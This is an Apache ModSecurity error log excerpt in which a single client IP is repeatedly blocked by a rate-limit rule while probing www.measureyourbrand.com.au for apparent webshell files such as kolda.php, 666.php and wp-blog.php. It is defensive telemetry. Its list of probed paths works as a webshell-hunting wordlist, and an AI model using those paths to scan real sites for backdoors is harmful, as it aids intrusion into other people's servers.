[Sat Feb 28 01:46:32.622445 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:19297] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aaHYeL_i6nvKNhjFW7VX3AAAARA"]
[Sat Feb 28 01:46:33.138853 2026] [:error] [pid 38620:tid 38625] [client 20.100.197.204:16597] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aaHYeQP6I7SRqrhh7RoiDQAAAUM"]
[Sat Feb 28 01:46:33.656374 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:38010] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aaHYeQP6I7SRqrhh7RoiDgAAAUw"]
[Sat Feb 28 01:46:34.173765 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:18983] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aaHYegP6I7SRqrhh7RoiEQAAAUo"]
[Sat Feb 28 01:46:34.690894 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:4128] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kolda.php"] [unique_id "aaHYegP6I7SRqrhh7RoiFwAAAUU"]
[Sat Feb 28 01:46:35.209660 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:12287] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaHYewP6I7SRqrhh7RoiIQAAAUw"]
[Sat Feb 28 01:46:35.732802 2026] [:error] [pid 15098:tid 15130] [client 20.100.197.204:27369] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaHYe8kFqny8dQQbmTkrvAAAAJg"]
[Sat Feb 28 01:46:36.251475 2026] [:error] [pid 15098:tid 15111] [client 20.100.197.204:16636] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaHYfMkFqny8dQQbmTkrvQAAAIU"]
[Sat Feb 28 01:46:36.767904 2026] [:error] [pid 15098:tid 15116] [client 20.100.197.204:3462] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nw.php"] [unique_id "aaHYfMkFqny8dQQbmTkrwgAAAIo"]
[Sat Feb 28 01:46:37.291833 2026] [:error] [pid 15100:tid 15181] [client 20.100.197.204:32737] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaHYfUOEbzcINan_ctLMxQAAAFU"]
[Sat Feb 28 01:46:37.809620 2026] [:error] [pid 38620:tid 38622] [client 20.100.197.204:18970] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaHYfQP6I7SRqrhh7RoiRQAAAUA"]
[Sat Feb 28 01:46:38.330033 2026] [:error] [pid 15240:tid 15255] [client 20.100.197.204:18989] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaHYfi1iKL_41Rk9A9OGDwAAAA0"]
[Sat Feb 28 01:46:38.850070 2026] [:error] [pid 15098:tid 15124] [client 20.100.197.204:3473] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aaHYfskFqny8dQQbmTkrwwAAAJI"]
[Sat Feb 28 01:46:39.367347 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:1153] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaHYfwP6I7SRqrhh7RoiVgAAAUU"]
[Sat Feb 28 01:46:39.884451 2026] [:error] [pid 15240:tid 15245] [client 20.100.197.204:18977] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaHYfy1iKL_41Rk9A9OGFwAAAAM"]
[Sat Feb 28 01:46:40.400173 2026] [:error] [pid 15240:tid 15261] [client 20.100.197.204:33370] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaHYgC1iKL_41Rk9A9OGHAAAABM"]
[Sat Feb 28 01:46:40.917235 2026] [:error] [pid 38620:tid 38629] [client 20.100.197.204:3498] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kj.php"] [unique_id "aaHYgAP6I7SRqrhh7RoiaAAAAUc"]
[Sat Feb 28 01:46:41.434063 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:27349] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaHYgQP6I7SRqrhh7RoibgAAAVI"]
[Sat Feb 28 01:46:41.950190 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:27352] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaHYgQP6I7SRqrhh7RoidAAAAVQ"]
[Sat Feb 28 01:46:42.466365 2026] [:error] [pid 15099:tid 15147] [client 20.100.197.204:58898] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaHYgunvP2vtPjYDq_g90gAAAM4"]
[Sat Feb 28 01:46:42.984286 2026] [:error] [pid 15240:tid 15264] [client 20.100.197.204:30750] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/un.php"] [unique_id "aaHYgi1iKL_41Rk9A9OGIgAAABY"]
[Sat Feb 28 01:46:43.502729 2026] [:error] [pid 38586:tid 38613] [client 20.100.197.204:4659] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaHYg7_i6nvKNhjFW7VX8AAAARg"]
[Sat Feb 28 01:46:44.020885 2026] [:error] [pid 38586:tid 38597] [client 20.100.197.204:4150] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaHYhL_i6nvKNhjFW7VX8QAAAQg"]
[Sat Feb 28 01:46:44.536884 2026] [:error] [pid 38620:tid 38640] [client 20.100.197.204:18971] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaHYhAP6I7SRqrhh7RoifgAAAVI"]
[Sat Feb 28 01:46:45.056067 2026] [:error] [pid 15240:tid 15261] [client 20.100.197.204:30151] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "aaHYhS1iKL_41Rk9A9OGLAAAABM"]
[Sat Feb 28 01:46:45.574649 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:18981] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaHYhQP6I7SRqrhh7RoigQAAAUY"]
[Sat Feb 28 01:46:46.092131 2026] [:error] [pid 38620:tid 38624] [client 20.100.197.204:18946] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaHYhgP6I7SRqrhh7RoihgAAAUI"]
[Sat Feb 28 01:46:46.609123 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:33363] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaHYhgP6I7SRqrhh7RoiiwAAAU0"]
[Sat Feb 28 01:46:47.127000 2026] [:error] [pid 15100:tid 15173] [client 20.100.197.204:16593] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms.php"] [unique_id "aaHYh0OEbzcINan_ctLM0AAAAE0"]
[Sat Feb 28 01:46:47.644170 2026] [:error] [pid 38586:tid 38601] [client 20.100.197.204:58927] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaHYh7_i6nvKNhjFW7VX9QAAAQw"]
[Sat Feb 28 01:46:48.161330 2026] [:error] [pid 38620:tid 38642] [client 20.100.197.204:58916] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaHYiAP6I7SRqrhh7RoikwAAAVQ"]
[Sat Feb 28 01:46:48.678155 2026] [:error] [pid 15100:tid 15174] [client 20.100.197.204:16475] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaHYiEOEbzcINan_ctLM0QAAAE4"]
[Sat Feb 28 01:46:49.194405 2026] [:error] [pid 38620:tid 38637] [client 20.100.197.204:4640] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cu.php"] [unique_id "aaHYiQP6I7SRqrhh7RoinQAAAU8"]
[Sat Feb 28 01:46:49.712875 2026] [:error] [pid 38586:tid 38602] [client 20.100.197.204:16622] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaHYib_i6nvKNhjFW7VX9wAAAQ0"]
[Sat Feb 28 01:46:50.230426 2026] [:error] [pid 38586:tid 38606] [client 20.100.197.204:33352] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaHYir_i6nvKNhjFW7VX_AAAARE"]
[Sat Feb 28 01:46:50.747604 2026] [:error] [pid 38586:tid 38605] [client 20.100.197.204:4096] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaHYir_i6nvKNhjFW7VX_wAAARA"]
[Sat Feb 28 01:46:51.264550 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:12493] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/0.php"] [unique_id "aaHYi7_i6nvKNhjFW7VYAQAAAQs"]
[Sat Feb 28 01:46:51.781099 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:30774] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaHYiwP6I7SRqrhh7RoirQAAAUY"]
[Sat Feb 28 01:46:52.297545 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:19317] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaHYjAP6I7SRqrhh7RoitAAAAUs"]
[Sat Feb 28 01:46:52.820802 2026] [:error] [pid 15098:tid 15116] [client 20.100.197.204:32732] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaHYjMkFqny8dQQbmTkrzgAAAIo"]
[Sat Feb 28 01:46:53.338306 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:16448] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aaHYjQP6I7SRqrhh7RoiuwAAAVY"]
[Sat Feb 28 01:46:53.856217 2026] [:error] [pid 38620:tid 38646] [client 20.100.197.204:16491] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaHYjQP6I7SRqrhh7RoivgAAAVg"]
[Sat Feb 28 01:46:54.371564 2026] [:error] [pid 38620:tid 38632] [client 20.100.197.204:16602] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaHYjgP6I7SRqrhh7RoiwgAAAUo"]
[Sat Feb 28 01:46:54.888739 2026] [:error] [pid 15240:tid 15249] [client 20.100.197.204:16603] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaHYji1iKL_41Rk9A9OGNgAAAAc"]
[Sat Feb 28 01:46:55.406539 2026] [:error] [pid 15240:tid 15251] [client 20.100.197.204:20049] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aaHYjy1iKL_41Rk9A9OGOAAAAAk"]
[Sat Feb 28 01:46:55.923696 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:16588] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaHYj7_i6nvKNhjFW7VYCwAAARU"]
[Sat Feb 28 01:46:56.444048 2026] [:error] [pid 15240:tid 15254] [client 20.100.197.204:28195] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaHYkC1iKL_41Rk9A9OGOgAAAAw"]
[Sat Feb 28 01:46:56.962402 2026] [:error] [pid 38620:tid 38638] [client 20.100.197.204:16257] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaHYkAP6I7SRqrhh7RoiyQAAAVA"]
[Sat Feb 28 01:46:57.479266 2026] [:error] [pid 15099:tid 15135] [client 20.100.197.204:18221] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog.php"] [unique_id "aaHYkenvP2vtPjYDq_g95QAAAMI"]
[Sat Feb 28 01:46:57.994540 2026] [:error] [pid 15100:tid 15169] [client 20.100.197.204:28222] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaHYkUOEbzcINan_ctLM4AAAAEk"]
[Sat Feb 28 01:46:58.510700 2026] [:error] [pid 15240:tid 15266] [client 20.100.197.204:1185] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaHYki1iKL_41Rk9A9OGQwAAABg"]
[Sat Feb 28 01:46:59.030138 2026] [:error] [pid 38620:tid 38627] [client 20.100.197.204:1166] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaHYkwP6I7SRqrhh7RoizAAAAUU"]
[Sat Feb 28 01:46:59.549535 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:28369] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-access.php"] [unique_id "aaHYkwP6I7SRqrhh7RoizgAAAUw"]
[Sat Feb 28 01:47:00.067917 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:18969] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaHYlEOEbzcINan_ctLM6gAAAEI"]
[Sat Feb 28 01:47:00.586178 2026] [:error] [pid 15099:tid 15138] [client 20.100.197.204:16316] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaHYlOnvP2vtPjYDq_g97QAAAMU"]
